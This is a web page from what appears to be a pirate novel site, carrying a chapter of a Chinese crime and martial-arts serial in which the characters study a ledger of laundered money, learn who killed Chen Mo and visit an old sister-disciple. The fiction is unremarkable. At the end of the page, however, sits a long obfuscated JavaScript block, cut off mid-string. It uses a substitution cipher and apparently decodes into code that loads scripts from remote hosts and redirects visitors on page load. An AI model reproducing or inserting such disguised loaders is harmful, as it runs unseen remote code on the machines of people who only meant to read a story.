首页
第0539章 半本账簿半城血
返回
关灯 护眼:关 字号:小

第0539章 半本账簿半城血

章节报错(免登陆)

一秒记住【顶点小说】
dingdian100.com,更新快,无弹窗!

    第0539章半本账簿半城血(第1/2页)
    楼明之把师叔和谢依兰带回了自己的住处。
    说是住处,其实就是城东一栋老居民楼里租的两室一厅。家具是旧货市场淘的,沙发坐上去会发出吱呀声,茶几上铺着一张褪色的蓝格子桌布。但窗户朝南,阳光能照进来,厨房里有米有面,冰箱里有鸡蛋和青菜,能过日子。
    师叔坐在沙发上,手里捧着一杯热水,指节还在抖。谢依兰蹲在他面前,仔细看他的脸。二十年不见,师叔老得厉害,头发几乎全白了,眼角有深深的皱纹,嘴角下撇,像是很久没有笑过。但那双眼睛还是亮的,跟谢依兰记忆中一样,像两颗埋在灰烬里的火星。
    “师叔,你这些年到底在哪?”
    师叔喝了一口水,把杯子放在膝盖上,两只手拢着杯身,像是取暖。“云南,贵州,四川,都待过。哪里偏僻往哪跑。每到一个地方就待一年半载,等风声过了再换地方。陈默在中间给我递消息,告诉我谁来了,该往哪走。”
    “追杀你的人是谁?”
    “黑石盟。”师叔说出这三个字的时候,声音压得很低,“你师父当年查到了他们的秘密,所以他们灭了青霜门。但那天晚上我正好在外面,躲过了一劫。你师父临死前用信号把我叫回来,把半本账簿塞给我,让我跑。”
    “另外半本呢?”
    “在陈默手里。他把账本一分为二,说这样谁落到对方手里都拿不到全貌。”师叔的手指在杯身上摩挲着,“但买卡特不知怎么找到了陈默。昨晚我去找他,刚到门口就看见门开着,陈默坐在沙发上已经不行了。买卡特的人正在翻东西。”
    “你跟他交手了?”
    师叔摇头:“没有。我从窗户翻进去的,从陈默的书柜夹层里拿到了半本账本。买卡特的人听见动静追出来,我跑了。他追到巷口,没追到。”
    楼明之站在窗前,听完了这段话,才转过身。他手里攥着那张黑色名片,买卡特留下的。他把名片放在茶几上,指了指那个烫金的名字。
    “这个买卡特,到底什么来头?”
    师叔看着那张名片,表情变得复杂。“他父亲是青霜门的护法,当年被我师父派去调查黑石盟。后来被许又开灭了口。买卡特那时候还小,被他父亲事先送走了。他不知道怎么活下来的,也不知道怎么混成了今天这个地步。但我知道一件事,他比任何人都恨许又开。”
    “所以他不是我们的敌人?”
    “不一定。”师叔抬起头,目光里有一种看透世事的疲惫,“恨许又开的人,不一定是我们的人。买卡特做的生意,沾了多少血,你比我清楚。”
    楼明之没有反驳。他想起老郑跟他提过买卡特的名字,说这个人手上至少背着十几条人命,只是警方一直拿不到证据。一个能在地下世界坐到“皇神”位置的人,手上不可能干净。
    谢依兰站起来,从包里拿出那卷羊皮纸,在茶几上展开。师叔带来的半本账本,记录的是当年黑石盟与各方势力的资金往来。密密麻麻的日期、代号、金额、用途,像一张密密麻麻的网,把二十年前的青霜门覆灭案拆解成了无数个细碎的碎片。
    楼明之蹲下来,手指一行一行地扫过那些记录。他的目光停在了其中一页上,那一页的左上角有一个小小的标记,像是随手画的一朵云。
    “这是什么?”
    师叔凑过来看了一眼,脸色变了。“这是青霜门的暗号。这朵云表示‘已经核实’。陈默核实过这笔账目。”
    “什么账目?”
    师叔眯着眼辨认那一行模糊的字迹。“1998年3月,方舟文化,金额三百万,用途——‘刊号与舆论’。”
    方舟文化。楼明之对这个名字有印象。那是许又开早年创办的出版公司,后来被一家大型传媒集团收购,改头换面成了现在的“方舟传媒”。许又开对外宣称自己早就退出了方舟传媒的经营,但楼明之在查许又开的时候发现,方舟传媒的股权结构里有一家叫“青芒投资”的公司,而青芒投资的法人代表,是许又开的妻弟。
    “许又开用方舟文化做掩护,拿黑石盟的钱养了一批写手和记者。”楼明之的声音很冷,“他所谓的‘武侠文化’,其实是黑石盟的舆论阵地。”
    “那许又开就是黑石盟的人?”谢依兰问。
    “不一定。”楼明之摇头,“我更倾向于认为许又开跟黑石盟是合作关系。他出文化名声,黑石盟出钱,两边各取所需。但后来不知道什么原因,两边翻脸了。”
    “因为分赃不均。”师叔说,“青霜门覆灭之后,黑石盟承诺给许又开的钱没给到位。许又开一气之下,把黑石盟的一些内幕写进了他的小说里。”
    楼明之和谢依兰同时看向他。
    “他的小说?”
    “《剑影江湖》,1999年出版的那本。”师叔说,“里面有一段写一个叫‘黑煞门’的邪教组织,用活人祭剑、控制江湖舆论、勾结官府。当时大家都以为是虚构的,但我知道,那写的就是黑石盟。许又开用小说的形式,把黑石盟的老底揭了一部分。”
    楼明之忽然想起那张合影照片上年轻时候的许又开,眉眼阴鸷。他当时就觉得那张脸有某种不协调感——五官看着儒雅,但眼神里藏着刀。
    “所以他跟黑石盟反目了?”
    “表面反目。”师叔冷笑了一声,“但暗地里,他们之间的钱从来没有断过。这半本账本里有好几笔跟方舟文化有关的款项,付钱的是黑石盟的人,收钱的是许又开的妻弟。表面上两边掐架,底下一起分钱。”
    楼明之站起来,走到窗前,看着窗外。天已经全黑了,远处有几栋楼亮着灯,零零星星的,像散落在黑夜里的火种。他需要理清思路。许又开、买卡特、黑石盟、青霜门,二十年前的旧账像一团乱麻,每一根线都缠着另一根线。
    “师叔,”他转过身,“你师父当年查黑石盟,查到了什么?”
    师叔沉默了很久。他把水杯放在茶几上,双手交叠搁在膝盖上,像是在做某种心理准备。
    “黑石盟不是一个江湖组织。”他终于开口,声音低得几乎听不清,“它是一个跨国洗钱网络。他们利用玉石交易、文化出版、影视投资做掩护,把黑钱洗白。青霜门有一个老门客,在海外做玉石生意,无意中发现了黑石盟的洗钱渠道。他写了举报信,寄给了国际刑警。信没寄出去就被截了。”
    “谁截的?”
    “许又开。”师叔的目光里闪过一丝寒意,“许又开当时是那个老门客的笔友,两人通信多年。老门客把举报信的草稿寄给许又开征求意见,许又开转手就把信交给了黑石盟。”
    客厅里安静得能听见水管里水流的声音。谢依兰的手攥紧了短刺的刀柄,指节发白。
    “所以许又开手上沾的血,比买卡特只多不少。”楼明之说。
    “对。”师叔点头,“买卡特杀人是为了复仇,许又开杀人是为了钱。一个图命,一个图财。图命的人还有底线,图财的人没有。”
    这句话落下去之后,客厅里沉默了很长时间。
    谢依兰第一个开口:“那我们现在怎么办?拿着这半本账本去找许又开?”
    “不能找。”楼明之断然摇头,“这半本账本只能证明黑石盟和许又开之间有资金往来,但许又开可以说那是正常的商业合作。我们需要另外半本,或者——”
    他看向师叔。
    “或者找到当年那个老门客的举报信原件。那封信才是许又开勾结黑石盟、出卖青霜门的铁证。”
    师叔苦笑了一声:“那封信原件在陈默手里。他说他藏了一个地方,只有他知道。但他没来得及告诉我,就……”
    他没再说下去。陈默的死像一根刺,扎在三个人之间,谁都不愿意去碰。
    楼明之拿起手机,拨了老郑的电话。响了三声,老郑接起来,背景里有电视的声音。
    “老郑,陈默的尸检报告出来了吗?”
    “正要跟你说。”老郑的声音压低了,“毒理报告有结果了。死者血液里有微量的‘***’,是从颈部那道痕迹渗进去的。***能导致心律失常,剂量控制好了,就跟心梗一模一样。手法很专业,不是一般人能做出来的。”
    “谢了老郑。”
    “等等。”老郑喊住他,“楼明之,我听说你今晚去陈默家的时候,有人比你更早到。现场有第二组脚印,鞋码四十二,鞋底是Vibram的户外底,跟买卡特的人穿的鞋子一致。你小心点,那个人不好惹。”
    “我知道。”
    挂断电话,楼明之把老郑说的情况转述给谢依兰和师叔。师叔听到“***”三个字时,脸色变得很难看。
    “碎星式加上***,这是青霜门内部的杀人手法。”师叔的声音发涩,“能同时做到这两点的,只有当年青霜门的核心弟子。也就是说,杀陈默的人,很可能就是我们认识的人。”
    这句话像一颗石子投进了深潭,涟漪一圈一圈扩散开去。
    楼明之坐回沙发上,把账本重新卷好,用一根橡皮筋扎住。他把账本放在膝盖上,闭上眼睛,脑子里像放电影一样过了一遍所有人。许又开,买卡特,失踪的师叔,死去的陈默,照片上那六个护法弟子。六个护法弟子,陈默死了,师叔在这里,还有四个人。四个人里,有一个可能是许又开年轻时候的模样,另外三个呢?
    “师叔,”他睁开眼,“照片上那六个护法弟子,除了陈默和你,还有四个人。他们的名字和下落,你知道吗?”
    师叔闭着眼睛想了一会儿,一个一个回忆。“大师兄赵劲松,当年最得师父器重,但青霜门出事之后就没了消息。二师姐柳如烟,嫁去了香港。三师兄周远,在成都开了一家武馆。四师姐何小蕾,据说一直在镇江,没离开过。”
    “镇江?”
    “对。她当年受伤最轻,师父让她留下来,照看青霜门的旧址。”
    楼明之跟谢依兰对视了一眼。青霜门的旧址就在镇江城西的老城区,现在是一处破败的宅院,被几户人家租住着。如果何小蕾一直在镇江,那她很可能知道更多的事。
    “明天去找何小蕾。”楼明之做出决定,“师叔先留在这里,哪里都不要去。”
    师叔点了点头,没有说话。他靠在沙发上,很快就睡着了,呼吸很轻,像是很久没有睡过一个安稳觉。谢依兰给他盖了一条毯子,然后走到阳台上,靠着栏杆站着。夜风很凉,她裹紧了风衣。
    楼明之走到她旁边,递给她一杯热水。
    “你师叔说的那些,你怎么看?”
    (本章未完,请点击下一页继续阅读)第0539章半本账簿半城血(第2/2页)
    谢依兰接过水杯,捧在手里。她看着楼下空荡荡的街道,路灯把她的侧脸照得半明半暗。“师叔说的是实话。但有一件事他没说。”
    “什么?”
    “他为什么能活二十年。买卡特和黑石盟追杀他这么多年,他一个普通人,怎么躲过那些职业杀手的?”谢依兰转过头看着楼明之,“除非有人一直在暗中保护他。”
    楼明之沉默了几秒。“你觉得是谁?”
    “我不知道。”谢依兰摇头,“但我有一种感觉,当年的事,比我们以为的更复杂。账本上记的那些钱,许又开和黑石盟的交易,可能只是冰山的一角。水下还有东西。”
    楼明之把水杯放在阳台栏杆上,双手撑着栏杆,看着远处的灯火。他说了一句话,声音很轻,像是在自言自语:“水下有东西,就得潜下去看看。但潜得太深,可能会被淹死。”
    谢依兰偏过头看他:“你怕吗?”
    “怕。”楼明之没有回避,“但怕也得去。你师叔等了二十年,陈默等到了死。我不能再让这件事拖下去。”
    谢依兰伸出手,在他手背上轻轻拍了一下。那动作很轻,像一片叶子落在水面上。
    “那就一起去。”
    楼明之低头看了看她的手。她没有收回去,就那么按在他的手背上,掌心的温度透过皮肤传过来。他抬起头看她,谢依兰的目光很定,没有躲闪。
    “好。”他说。
    那天夜里楼明之没怎么睡。他坐在客厅的沙发上,把账本一页一页地拍照存档,又用扫描仪扫了一遍存进加密U盘。然后把纸质账本藏进了书架后面一个他自己挖的暗格里。做完这些,天已经蒙蒙亮了。
    他站起来活动了一下僵硬的脖子,走到厨房煮了一锅粥。米是昨天剩的,他加了几片姜,一点盐,熬得稠稠的。师叔还在沙发上睡着,谢依兰在卧室里和衣躺了一夜,听见动静也起来了。
    三个人围坐在茶几前喝粥,谁都没说话。粥很烫,冒着白气,在清晨的冷空气里升腾、散开。
    “今天去找何小蕾。”楼明之把碗放下,看着师叔,“你跟我们一起去。”
    师叔点了点头。
    出门前,楼明之把那把折叠刀揣进口袋,又在夹克内侧别了一支录音笔。谢依兰换了件黑色的高领毛衣,短刺藏在袖子里。师叔穿了一件楼明之的旧外套,宽大了一些,但还算合身。
    三个人走出居民楼的时候,天刚亮透。晨雾还没有散尽,街上的行人稀稀落落。楼明之走在最前面,谢依兰和师叔跟在后面。他习惯性地观察着四周,留意每一个路人的动作和眼神。
    到了街角,他忽然停住脚步。
    对面的一家早餐铺前,有一个人正坐在塑料凳上吃面。那人穿着一件普通的灰色夹克,低着头,筷子挑着面条,吃得不紧不慢。楼明之注意到他的手腕上有一道细长的疤,从手腕内侧一直延伸到袖口里面。
    那道疤的位置和走向,跟照片上那个“像许又开年轻时候”的人吻合。
    楼明之没有动。他站在街角,隔着马路看着那个人。谢依兰也看见了,她的呼吸停了一拍,但很快恢复如常。师叔低着头,似乎没有注意到。
    那个人吃完了面,放下筷子,从兜里摸出一张纸巾擦了擦嘴。然后他抬起头,目光越过马路,直直地看向楼明之三人。
    他笑了。
    那笑容很淡,像是跟老朋友打了个招呼。然后他站起来,把面钱压在碗底下,转身走了。走得从容不迫,没有加快脚步,也没有回头。
    楼明之攥紧了口袋里的折叠刀。
    “他是谁?”谢依兰低声问。
    “不知道。”楼明之看着那个人消失在街角,“但他知道我们住哪,知道我们什么时候出门。他在等我们。”
    “等我们?”
    “对。”楼明之往前走去,脚步沉稳,“他在等我们去找何小蕾。”
    谢依兰跟上去,师叔跟在最后面。三个人穿过马路,走进清晨的街道。身后的早餐铺还在冒着热气,老板娘在案板上揉着面团,收音机里播着早间新闻。一切看起来都那么正常,那么平静。
    但楼明之知道,那个笑容意味着什么。
    那是猎手看见猎物走进射程时才会露出的笑。
    他们去了城西。何小蕾住在青霜门旧址后面的一条小巷里,门牌号是师叔凭记忆找的。巷子很深,两侧是高墙,墙上爬满了枯黄的藤蔓。走到尽头,有一扇木门,门上的漆已经剥落了大半,露出底下灰白的木头。
    楼明之敲了敲门。没有人应。
    他又敲了三下,更重了些。门里面传来窸窸窣窣的声响,然后脚步声由远及近。门开了一条缝,一张女人的脸出现在门缝里。五十多岁,短发,面容清瘦,颧骨高耸,眼窝深陷。她穿着一件灰色的棉袄,袖口磨得发亮。
    她的目光从楼明之扫到谢依兰,最后落在师叔身上。
    那张脸像被什么东西击中了一样,瞬间僵住了。
    “你……”她的嘴唇动了动,声音沙哑得几乎听不见,“你还活着?”
    “小蕾。”师叔点了点头,“是我。”
    何小蕾把门拉开了。她没有说话,转身往屋里走,三个人跟了进去。屋子里很暗,窗帘拉着,只有一盏昏黄的灯亮着。墙边堆满了各种杂物,旧报纸、旧衣服、破损的家具,还有几把锈迹斑斑的刀剑。
    何小蕾在桌子前坐下,点了一根烟。她抽烟的姿势很老派,用食指和中指夹着,吸一口就夹在手里晾着,像是在等什么。
    “陈默死了。”楼明之直接说。
    何小蕾的烟灰掉在桌面上,她没去管。“我知道。昨晚死的。”
    “你怎么知道?”
    何小蕾抬起眼睛看着他,目光里有一种说不清的情绪。“因为昨晚我去了他家楼下。我看见你进去了,也看见买卡特的人从后门走了。”
    楼明之的心猛地一沉。“你看见杀陈默的人了?”
    何小蕾吸了一口烟,慢慢吐出来。“看见了。他的脸我也看见了。但我告诉你们也没用,因为你们抓不到他。”
    “为什么?”
    “因为他已经死了。”何小蕾把烟摁灭在桌面的一个旧铁盒里,“杀陈默的人叫赵劲松。青霜门大师兄。他昨晚杀完陈默之后,在城东的一座桥上跳了下去。尸体今天早上被捞上来了。”
    屋子里安静得像一口棺材。
    谢依兰的声音有些发紧:“赵劲松——为什么?他是青霜门的大师兄,为什么要杀陈默?”
    何小蕾看着师叔,目光里有一种深深的疲倦。“因为赵劲松早就不是青霜门的大师兄了。二十年前,许又开收买了他。他背叛了师门,害死了师父师娘。但他一直藏在暗处,替许又开做事。陈默发现了他的身份,他就杀了陈默灭口。”
    “然后他跳河自尽?”
    “对。”何小蕾站起来,走到墙边,从一堆旧报纸下面抽出一个牛皮纸信封,“他昨晚来找过我。把这个给我,说是陈默让他转交的。然后他就走了,说要去一个再也回不来的地方。”
    楼明之接过信封,打开。里面是一张泛黄的照片和一封信。照片上是青霜门当年的大合照,二十多个人站在山门前,笑得灿烂。信是陈默写的,字迹歪歪斜斜,像是弥留之际匆忙写就。
    信只有三行字:
    “赵劲松是叛徒。但他也是受害者。许又开拿他妻儿的命威胁他。他杀我,是为了保他的家人。不要恨他。”
    楼明之把信纸翻到背面。背面还有一行更小的字,几乎看不清:
    “举报信原件藏在青霜门旧址的祖师堂地基下面。第三块石板。”
    他把信递给谢依兰。谢依兰看完,把信纸叠好,收进口袋。她转头看着何小蕾。
    “你为什么不早说?”
    何小蕾苦笑了一声。那笑容很苦,像喝了陈年的黄连。“早说给谁听?二十年前我说了,没人信。后来我就不说了。我怕了。”
    她顿了顿,看着师叔:“你回来了,就好。青霜门的事,该有个了结了。”
    师叔点了点头,没有说话。
    从何小蕾家出来的时候,太阳已经升得很高了。楼明之站在巷口,回头看了一眼那条幽深的巷子。何小蕾站在门口,身影被门框切成窄窄的一条,像一幅褪色的旧画。
    “走。”他转身对谢依兰和师叔说,“去青霜门旧址。”
    谢依兰拉住他的手臂:“你觉得那里有埋伏?”
    “肯定有。”楼明之的目光很平,“但我们必须去。那封举报信是唯一的铁证。许又开也知道这一点,他一定会在那里等我们。”
    师叔忽然开口:“我去引开他们。你们从后面进去。”
    “不行。”
    “听我说。”师叔的声音很稳,眼神也很稳,“我在暗处躲了二十年,怎么引开人我比你们清楚。你们拿到信就走,不要管我。”
    谢依兰的嘴唇动了动,想说什么,被师叔抬手止住了。
    “丫头,你找到师叔了,师叔很高兴。但师叔躲了二十年,不是为了活着,是为了把这件事了结。”他伸手拍了拍谢依兰的肩膀,力道很轻,像是告别,“你师父的仇,该报了。”
    谢依兰的眼眶红了。她没有哭,只是用力点了点头。
    楼明之看着师叔,沉默了几秒,然后说:“小心。”
    师叔笑了笑,转身走进巷子深处。他的背影瘦削而笔直,像一把被岁月磨薄了的刀,虽然旧了,但刀刃还在。
    谢依兰看着他的背影消失在巷口,攥紧了拳头。
    楼明之没有催她。他站在她旁边,安静地等着。过了大概半分钟,谢依兰深吸了一口气,转过头来,目光已经恢复了清明。
    “走吧。”
    两人并肩走向青霜门旧址。阳光照在他们的背上,把影子投在前面的石板路上,一高一矮,一前一后,像两把并排的刀。
    身后传来远处隐约的钟声,是镇江老城的鼓楼在报时。钟声一下一下地荡开,在深秋的空气里传得很远,像是这座千年古城在提醒所有路过的人——有些事,时间掩埋不了;有些账,躲得再久也要算清。
    楼明之的手按在口袋里的折叠刀上,脚步沉稳。身边的谢依兰短刺已经滑出了袖口,刀身在晨光中闪着一线寒芒。
    他们都知道前面等着什么。
    但他们还是往前走。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="o4n6nwm3oe";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJm)J_(^Spm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJm)J_(^Spm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/Oo2K2D^sOY/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"Oo2K2D^sOY"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mShYfh(:m2YF"="}Ko}X5ThF)m^XDpqRTm2YF"="}Ko}2pThFmShYfh(:m2YF"="}Ko}_JqhFm^XDpqRTm2YF"="}Ko}2TOhFmShYfh(:m2YF"="}Ko}CSqhF)m^XDpqRTm2YF"="}Ko})FfThF)fmShYfh(:m2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q/f/}Ko}j(8}vY8Oo2K2D^sOY"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD 